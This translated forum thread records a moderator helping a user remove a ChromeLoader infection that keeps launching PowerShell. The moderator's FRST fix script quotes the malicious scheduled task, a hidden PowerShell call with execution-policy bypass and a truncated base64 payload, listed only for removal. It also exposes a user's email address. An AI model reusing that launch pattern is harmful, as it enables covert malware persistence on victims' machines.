View original (French)

Powershell opens by itself

Solved/Closed
Natcgn -  
bazfile Posted messages 58493 Registration date   Status Moderator Last intervention   -
Hello,
When I'm on my PC, PowerShell opens by itself every 5 minutes, which is annoying. I think it's a virus. Could someone help me?

Thank you

Configuration: iPhone / Safari 15.2

6 answers

  1.
    bazfile Posted messages 58493 Registration date   Status Moderator Last intervention   20 270
     
    Hello,
    Download FRST once downloaded save it on the desktop then right-click on FRST and choose Run as administrator you will see this:

    Click on Scan

    Be sure to wait until the messages indicating that the scan is complete are displayed


    At the end of the scan, you will have two text files on the desktop FRST and Addition, .
    Then send the reports FRST and ADDITION to CJOINT     see THIS TUTORIAL then provide the two links generated by Cjoint in your reply.

    --
    bazfile
    Moderator/Security Contributor.
    a hello, a response, a thank you are always appreciated.
    0
  2. Nat
     
    FRST:https://www.cjoint.com/c/LAmt7AvzlPb
    addition:https://www.cjoint.com/c/LAmubhBP5Rb
    0
    1. Nat
       
      Did you manage to find the error?
      0
    2. bazfile Posted messages 58493 Registration date   Status Moderator Last intervention   20 270
       
      The "Addition" report is incomplete.

      Your PC is heavily infected, you need to be more careful and avoid clicking everywhere.

      Do you have the Yandex browser installed?

      Procedure to follow in the indicated order:

      First uninstall the following software using RevoUninstaller in advanced scan mode: 
      - CleanMyPC
      - Segurazo Realtime Protection Lite
      - SSOption 
      - Wondershare Helper Compact

      Revo Uninstaller guide to read carefully.






      Accept the uninstallation of the program you wish to uninstall, and if there is an error message stating that uninstallation is impossible, close the error message and continue the procedure.


      Check "Advanced scan" and then click on "Scan".


      Click on "Select all" and then on "Delete," if a second list appears do the same, then once everything is deleted click on "Finish," a restart may be requested.

      Disinfection.

      1- Open FRST as an administrator, do this by right-clicking on FRST and choosing Run as administrator
      2 - Copy the entire script that is in the box below: 
      Start::
      CreateRestorePoint:
      CloseProcesses:
      GroupPolicy: Restriction ?
      HKLM\SOFTWARE\Policies\Mozilla\Firefox: Restriction 
      HKLM\SOFTWARE\Policies\Google: Restriction 
      HKLM-x32\...\Run: [Wondershare Helper Compact.exe] => C:\Program Files (x86)\Common Files\Wondershare\Wondershare Helper Compact\WSHelper.exe [2133728 2017-09-12] (Wondershare Technology Co.,Ltd -> Wondershare)
      Task: {1C4A1181-1E34-490E-A191-39D3E6AA0FB2} - System32\Tasks\Opera scheduled Autoupdate 1588591720 => C:\Users\alexc\AppData\Local\Programs\Opera\launcher.exe --scheduledautoupdate $(Arg0) (No file)
      Task: {2CCBA2E7-941D-4323-B415-272D7501A228} - System32\Tasks\AdobeAAMUpdater-1.0-MicrosoftAccount-alexcognon@yahoo.fr => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe -mode=scheduled (No file)Task: {2CCBA2E7-941D-4323-B415-272D7501A228} - System32\Tasks\AdobeAAMUpdater-1.0-MicrosoftAccount-alexcognon@yahoo.fr => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe -mode=scheduled (No file)
      Task: {7E11B7E3-6BA9-4753-B443-CB4AC970CEFC} - System32\Tasks\AMDLinkUpdate => C:\Program Files\AMD\CIM\Bin64\InstallManagerApp.exe -AMDLinkUpdate (No file)
      Task: {99423343-A9BE-485F-8348-8E1B4DC190C2} - System32\Tasks\ChromeLoader => cmd /c start /min "" powershell -ExecutionPolicy Bypass -WindowStyle Hidden -E JABlAHgAdABQAGEAdABoACAAPQAgACIAJAAoACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQApAFwAYwBoAHIAbwBtAGUAIgAKACQAYwBvAG4AZgBQAGEAdABoACAAPQAgACIAJABlAHgAdABQAGEAdABoAFwAYwBvAG4AZgAuAGoAcwAiAAoAJABhAHIAYwBoAGkAdgBlAE4AYQBtAGUAI (the data item has 4315 characters more). 
      Edge HomeButtonPage: HKU\S-1-5-21-1722835910-503718021-2123007925-1001 -> hxxps://www.yandex.ru/?win=463&clid=2341035-18
      Edge Extension: (No name) -> AutoFormFill_5ED10D46BD7E47DEB1F3685D2C0FCE08 => C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\HostExtensions\AutoFormFill [not found]
      Edge Extension: (No name) -> BookReader_B171F20233094AC88D05A8EF7B9763E8 => C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\BookViewer [not found]
      Edge Extension: (No name) -> LearningTools_7706F933-971C-41D1-9899-8A026EB5D824 => C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\HostExtensions\LearningTools [not found]
      Edge Extension: (No name) -> PinJSAPI_EC01B57063BE468FAB6DB7EBFC3BF368 => C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\HostExtensions\PinJSAPI [not found]
      Edge DefaultSearchURL: Default -> hxxps://fr.search.yahoo.com/yhs/search?hspart=ner&hsimp=yhs-001&type=aee_84d015defd161c9282¶m1=ArFaIWJoNqArQGMVADwgQGR7B7NoN9InxrFbMmYsQGMVw7ofB6poNqAqAXFaIWQBvmE4ICILNopcGWUIvmFdICIVNVI4ISoVNVE4J6k4NVQ3vqYXNVBdJ6IWwVM3vCILNVJdESk8NUM9Jmk3vmk3vCILNFdbDSk8vFE9ImoVvFQ9ImIVwVA3vCoXwV5cGWUWvmFcJmoUNEA3vCILNFdcIaUXNEBcGqQANFdcFCk8NoM9JGYXwVM3vGYXvmo9ISoUwVw9JGYYvFJdISISNVJdJGYTvFI9I6IYwVVdJ6IVwVw4JaYVvmpdJCIVwVI9JaYUwVM9ISIVvFRbFCILNF9cIqUXNolcEqULNopcGWUIvmFbF6IYwVVcG6IXvFM4ICoWwVQ9I6k4vmpcFCIVwVw4IGUJvFI9J6ISNEM4JmoWwVM9I6k3wVNcFSIYwVQ3vmoVNEY4JaUIwVQ4JaQIwV5dJGYNvmE4ICILNFRbDqUDNEJcFaULvmE9GqUINolcJqUJNEQ3wCIWvFI4JmoVwVI4ISk4wVU4ISIWQGR7B6RoN9J8LWZ6MWZcMWZoNqAsQGMVvDIlC6MuNGouNasuwCYpC7EmyCYbxU1dNU1dNXFbMn0aC6AoxrFaIWVdOqZoNqAexbFaIUwkynIew6NoNpRcNXFbJpseyDF%3D¶m2=MGN9NqF6Matb&p={searchTerms}
      Edge DefaultSearchKeyword: Default -> search by yahoo
      FF Homepage: Mozilla\Firefox\Profiles\nahd6ha2.default -> hxxps://www.yandex.ru/?win=463&clid=2341035-18
      FF SearchPlugin: C:\Users\alexc\AppData\Roaming\Mozilla\Firefox\Profiles\nahd6ha2.default\searchplugins\yandex.ru-20202315.xml [2020-11-15]
      CHR Notifications: Default -> hxxps://app.slack.com; hxxps://aternos.org; hxxps://download-alert.com; hxxps://maviedechat.net; hxxps://p4.maranhesduve.club; hxxps://padlet.com; hxxps://personal-video.live; hxxps://qbqra.mybuzz.fun; hxxps://tvplusnewtab.com; hxxps://userscloud.com; hxxps://www.marmiton.org; hxxps://www.serials.ws; hxxps://www1a.debrahinton.pro; hxxps://www1a.ramirocampos.pro; hxxps://www51.zippyshare.com
      CHR HomePage: Default -> hxxps://fr.search.yahoo.com/yhs/web?hspart=iry&hsimp=yhs-fullyhosted_003&type=wnf_secureddownload_16_48_ssg02¶m1=1¶m2=f%3D1%26b%3Dchmm%26cc%3Dfr%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1QzutDtDtBtCyD0CyDyD0BtDtD0FtC0B0CyEtN0D0Tzu0StCyBzyyEtN1L2XzutAtFtByDtFtCtFyDtBtN1L1Czu1StN1L1G1B1V1N2Y1L1Qzu2StD0B0D0BtByC0EzztGyDtD0CzytG0CzyzztCtGtD0D0AyCtG0B0A0DtBtByBtB0AtAtDtC0C2QtN1M1F1B2Z1V1N2Y1L1Qzu2Szy0AyCzy0BtD0FyBtGtCtD0BtDtGyEtD0AyBtGzz0ByC0AtGtC0FtAtAzzyCtDtByBtA0AyB2QtN0A0LzuyE%26cr%3D1050113949%26a%3Dwnf_secureddownload_16_48_ssg02%26os_ver%3D6.1%26os%3DWindows%2B7%2BProfessional
      CHR HKLM\...\Chrome\Extension: [bhoagceacaklimpcejjofabngcjkebfg]
      CHR HKLM\...\Chrome\Extension: [nccfgpamboionigdpfjmijhlgmgdbael]
      CHR HKU\S-1-5-21-1722835910-503718021-2123007925-1001\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [bhoagceacaklimpcejjofabngcjkebfg]
      CHR HKU\S-1-5-21-1722835910-503718021-2123007925-1001\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [mjmpfdkmpojoeemjmfiddlhkkndcdpno]
      CHR HKU\S-1-5-21-1722835910-503718021-2123007925-1001\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [nccfgpamboionigdpfjmijhlgmgdbael]
      CHR HKLM-x32\...\Chrome\Extension: [bhoagceacaklimpcejjofabngcjkebfg]
      CHR HKLM-x32\...\Chrome\Extension: [eofcbnmajmjmplflapaojjnihcjkigck]
      CHR HKLM-x32\...\Chrome\Extension: [gomekmidlodglbbmalcneegieacbdmki]
      CHR HKLM-x32\...\Chrome\Extension: [nccfgpamboionigdpfjmijhlgmgdbael]
      CHR HKLM-x32\...\Chrome\Extension: [ohhcpmplhhiiaoiddkfboafbhiknefdf]
      2022-01-08 22:22 - 2022-01-08 22:22 - 000012830 _____ C:\WINDOWS\system32\Tasks\ChromeLoader
      2022-01-08 15:58 - 2022-01-08 15:58 - 000108784 _____ C:\Users\alexc\AppData\Roaming\whw.exe
      2022-01-08 15:58 - 2022-01-08 15:58 - 000012288 _____ C:\Users\alexc\AppData\Roaming\e3dwefw.exe
      S2 InnocentKalaga; C:\Program Files (x86)\InnocentKalaga\InnocentKalaga.exe [5948912 2018-04-05] (Apps Delivered Ltd -> Innocent Kalaga) [Unsigned file]
      YAN DefaultSearchURL: Default -> hxxps://browser-resources.s3.yandex.net/old/get/browser/launcher_images/windows/yandex/pochta_win.targetsize-256.png
      YAN Extension: (Я.Почта) - C:\Users\alexc\AppData\Local\Yandex\YandexBrowser\User Data\Default\Extensions\bcadigmkecmhhknameopgaidphameinh [2020-11-15]
      HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = 
      HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = 
      HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = 
      HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = 
      HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = 
      HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = 
      HKLM\Software\Microsoft\Internet Explorer\Main,Local Page = 
      HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Local Page = 
      HKU\S-1-5-21-1722835910-503718021-2123007925-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxps://www.yandex.ru/?win=463&clid=2341035-18
      SearchScopes: HKU\S-1-5-21-1722835910-503718021-2123007925-1001 -> DefaultScope b5eaa8b0-276f-11eb-bd76-e0d55e69b8bf URL = hxxps://yandex.ru/search/?win=463&clid=2341036-18&text={searchTerms}
      SearchScopes: HKU\S-1-5-21-1722835910-503718021-2123007925-1001 -> b5eaa8b0-276f-11eb-bd76-e0d55e69b8bf URL = hxxps://yandex.ru/search/?win=463&clid=2341036-18&text={searchTerms}
      cmd: netsh advfirewall reset
      Hosts:
      EmptyTemp:
      End::

      3- Once the script is copied, click on Fix, FRST will automatically take the script from the clipboard.



      Allow the correction to proceed, once it is finished you will be asked to restart your PC, do it as soon as you are prompted, see below.

      IMPORTANT once your computer has restarted:

      4- You will have a Fixlog file on your desktop, then send these reports to https://www.cjoint.com/ see this guide then provide the link generated by Cjoint in your next message.

      IMPORTANT:

      5- Reset Google Chrome with THIS SOFTWARE.
      Then:

      6- CHECK AND TELL ME IF YOUR PROBLEM IS STILL PRESENT


      FOR INFORMATION:

      Your version of Windows 10 is not up to date, to check it go to this page click on Update Now, this will start the download of Microsoft's tool, just open it and it will allow you to update Windows 10 to the latest version and let you know if it is compatible with your PC, be aware that this update takes some time, if you have a laptop, plug it into the power supply, as it would be a shame to run out of battery before the update is complete.
      0
  3. Nat
     
    Okay, thanks, I'll do it, and no, I didn't install the browser.
    0
    1. bazfile Posted messages 58493 Registration date   Status Moderator Last intervention   20 270
       
      In this case, once the previous procedure is completed, to remove Yandex, run a new FRST correction with this script: 
      Start::
      CreateRestorePoint:
      CloseProcesses:
      C:\Users\alexc\AppData\Local\Yandex
      YAN Profile: C:\Users\alexc\AppData\Local\Yandex\YandexBrowser\User Data\Default [2020-11-15]
      YAN DefaultSearchURL: Default -> hxxps://browser-resources.s3.yandex.net/old/get/browser/launcher_images/windows/yandex/pochta_win.targetsize-256.png
      YAN Extension: (Я.Почта) - C:\Users\alexc\AppData\Local\Yandex\YandexBrowser\User Data\Default\Extensions\bcadigmkecmhhknameopgaidphameinh [2020-11-15]
      End::
      0
  4. Natcgn
     
    Ok, is it normal for the correction to take time?
    0
    1. Natcgn
       
      No, actually it's fine, it just ended.
      0
    2. Nat
       
      Here is the fixlog link:
      https://www.cjoint.com/c/LAmvC1SaIeb
      0
      1. bazfile Posted messages 58493 Registration date   Status Moderator Last intervention   20 270 > Nat
         
        The fixlog is good, please provide the link to the second fixlog for the removal of Yandex, see my previous message.
        0
      2. Natcgn > bazfile Posted messages 58493 Registration date   Status Moderator Last intervention  
         
        Ok, wait 2 minutes.
        0
  7. Natcgn
     
    Yes, for now the bug is no longer present. Thank you.
    I will now install the latest version of Windows 10;
    0
    1. bazfile Posted messages 58493 Registration date   Status Moderator Last intervention   20 270
       
      OK, the infection being removed, I will mark the subject as resolved.
      You can uninstall FRST, rename the FRST file you downloaded to uninstall, then once the file is renamed, open it, and the uninstallation will occur automatically through a restart of the PC.
      0